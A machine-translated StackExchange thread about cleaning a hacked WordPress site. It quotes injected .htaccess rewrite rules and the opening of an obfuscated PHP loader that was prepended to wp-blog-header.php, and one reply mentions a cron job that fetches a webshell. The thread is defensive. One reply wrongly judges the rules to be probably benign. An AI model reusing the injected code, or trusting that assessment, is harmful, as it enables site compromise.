WordPress网站遭到黑客攻击。.htaccess是否已被黑客入侵?

时间:2017-03-22 作者:Myles

我正在清理一个被黑客入侵的WordPress网站。我注意到.htaccess 文件中有一些看起来可疑的正则表达式,但我的正则表达式技能相当弱(我想是时候学习了)。我试过更换.htaccess 使用默认WordPress的文件.htaccess, 但它会立即自动重写。我需要知道的是这段代码是怎么回事:

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^([^\\d\\/]+)-([0-9]+)-([0-9]+)-.*..*$ ?$1$3=$2&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\\/([^\\d\\/]+)([0-9]+)=[0-9]+$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\\/([^\\d\\/]+)([0-9]+)..*&_.*_.*=(.*)Q(.*)J[0-9]+.*TXF[0-9]+.*FLK.*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\\/([^\\d\\/]+)([0-9]+)..*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\\/([^\\d\\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F.*%[0-9]+F&$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\\/([^\\d\\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F.*%[0-9]+F$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\\/([^\\d\\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F&$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\\/([^\\d\\/]+)([0-9]+)$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\\/([^\\d\\/]+)([0-9]+).*[0-9]+..*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([^\\d\\/]+)-([0-9]+)-([0-9]+)..*$ ?$1$3=$2&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\\/([^\\d\\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F&#[0-9]+;.*=.*$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)\\/([^\\d\\/]+)([0-9]+)(.*)%[0-9]+F%[0-9]+F.*..*..*%[0-9]+F$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^([0-9]+)-([^\\d\\/]+)_.*_([0-9]+)$ ?$2$1=$3&%{QUERY_STRING}[L]
RewriteRule ^index\\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
如果.htaccess 已经被破坏了,你有什么建议来保护它吗?

我重新安装了WordPress,更新/重新安装了所有插件,重置了密码,安装了登录验证码,将WordPress安装移到了其他目录,等等。网站几天来似乎都很好,但又被黑客入侵了。太令人沮丧了!

6 个回复
SO网友:Fayaz

关于被黑客攻击的网站:

首先,让我们明确与黑客相关的问题:

如果你的网站真的被黑客攻击了,那么除了完全删除所有文件,然后用新密码重新安装服务器(不仅仅是WordPress),更新所有文件,识别并删除之前导致网站被黑客攻击的循环漏洞之外,没有任何其他东西可以确认该网站不会再次使用相同的循环漏洞被黑客攻击。

关于.htaccess 修改:

对我来说.htaccess 修改看起来不像是黑客攻击的结果,而是一段WordPress代码(来自插件或主题),它正在重写.htaccess 文件,因为URL重写。

从您的.htaccess 代码:

RewriteRule ^([^\\d\\/]+)-([0-9]+)-([0-9]+)-.*..*$ ?$1$3=$2&%{QUERY_STRING}[L]
这一行基本上是转换如下所示的URL(例如):

example.com/something-12-34-something-else.html?query=string
添加查询字符串(在主index.php) 看起来是这样的:

?something34=12&query=string
所以,基本上我看不出黑客会从中获得什么。这仍然是可能的,但不太可能。

要测试WordPress确实以这种方式重写了它,您可以执行以下测试:

转到wp-admin -> Settings -> Permalinks &;单击保存更改按钮。

重写.htaccess 使用默认WordPress.htaccess 密码

现在,转到wp-admin -> Settings -> Permalinks 再次单击保存更改按钮。

如果您的.htaccess 文件可由WordPress(web服务器)写入,如果.htaccess 代码由WordPress生成,然后经过上述过程,您的默认WordPress.htaccess 将立即更改为您发布的内容。

接下来要做什么

如果您已经成功识别出WordPress将要进行的更改,那么您可以在每次禁用每个已安装的插件后,再次按照上述步骤来检测哪个插件或主题正在进行更改。

一旦禁用了负责的插件,上述过程将不会在.htaccess 文件不再存在。然后,您将知道哪个插件正在执行此操作,并且可能会更好地了解它执行此操作的原因。e、 g.是否是恶意活动的特征或结果。

如果没有发现插件正在执行此操作,那么您可以通过激活WordPress核心主题(例如,2017)对主题执行相同的操作。

如果以上都不起作用,那么我想你的下一个选择是聘请一位专家,让他检查你的网站。

SO网友:Monica Maria Crapanzano

几个月前,我遇到了一个类似的问题:一个客户的网站遭到黑客攻击,我很难找到哪里。我可以建议您也检查db以检查恶意软件代码,在我的情况下,我在以下内容中发现了一些可疑代码:

数据库;Ftp-缓存文件夹、主wp文件夹和其他非wpfolders

  • 。htaccess和wp配置
  • SO网友:Claudiu Pap

    我已经用解决了这个问题。htaccess文件,方法是清除wp blog头。php。负责的脚本。htaccess修改位于此处,看起来像这样。

    <?php
    //header(\'Content-Type:text/html; charset=utf-8\');
    $OO0O_0_O0_=\'J6Pn2HmH0e568SXnR6KRkmP5tQbh7KEW\';
    $O0_0O_O0O_=\'enhearse14625\';
    $OO0__O00_O=1921;
    $O_0OO__00O=\'E/B/C/D/intertrade/acrimony/mesoseme/A/sdh.xhtml\';
    $O_0OO_0O0_=871;
    $O_OO_O00_0=1;
    $O_O0_0OO_0=array("eleventhly","decasualization","antieducation","circumambulator","insufficient","federalness","cactaceae","camise","colorimetrics","disintertwine","confutation","bladderet","exodist"................
    $OOO0__0O0_=\'\';
    $O__0O0_OO0=\'T2\';
    $O_O_00_0OO=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A")............ ?>
    <?php
    /**
     * Loads the WordPress environment and template.
     *
     * @package WordPress
     */
    
    if ( !isset($wp_did_header) ) {
    
        $wp_did_header = true;
    
        require_once( dirname(__FILE__) . \'/wp-load.php\' );
    
        wp();
    
        require_once( ABSPATH . WPINC . \'/template-loader.php\' );
    
    }
    ?>
    
    只需清理第一部分和结尾“?>”+。htaccess清洁,应该可以。

    SO网友:swar3z

    如果您正在cpanel上运行word press,只需检查从域hello获取文件的cronjob。turnedpro。xyz,这就是奇怪的根源。htaccess文件。每秒下载一个bash脚本以下载。htaccess文件和webshell。

    SO网友:gdaniel

    到目前为止,我在WP网站上看到的大多数黑客攻击都是由于插件漏洞或过时的WP核心造成的。

    我建议:

    通过从Wordpress下载新副本,完全替换WP core。组织

    一旦你认为一切都已清理干净,我会安装一个插件或使用另一个工具来扫描你的主题文件中的base64代码。很多时候,恶意代码会被分解成几个不同的文件,并通过编码进行伪装。

    最后,安装一个安全插件,以帮助您在更改核心/插件文件时获得警报。

    如果您关心您的网站:

    始终保持一切最新。插件和Wp核心如果您有一个VPS或类似的设置,可以更好地控制服务器设置,请确保重置根密码和其他与服务器相关的密码。如果数据库遭到破坏,还应更改db用户密码。

    SO网友:Piero

    我找到的最佳解决方案之一是安装Wordfence, 它用原始版本扫描所有wordpress文件(包括外部文件,但您需要在“设置”页面上启用),然后显示所有修改过的文件列表,以便您可以查看被入侵的内容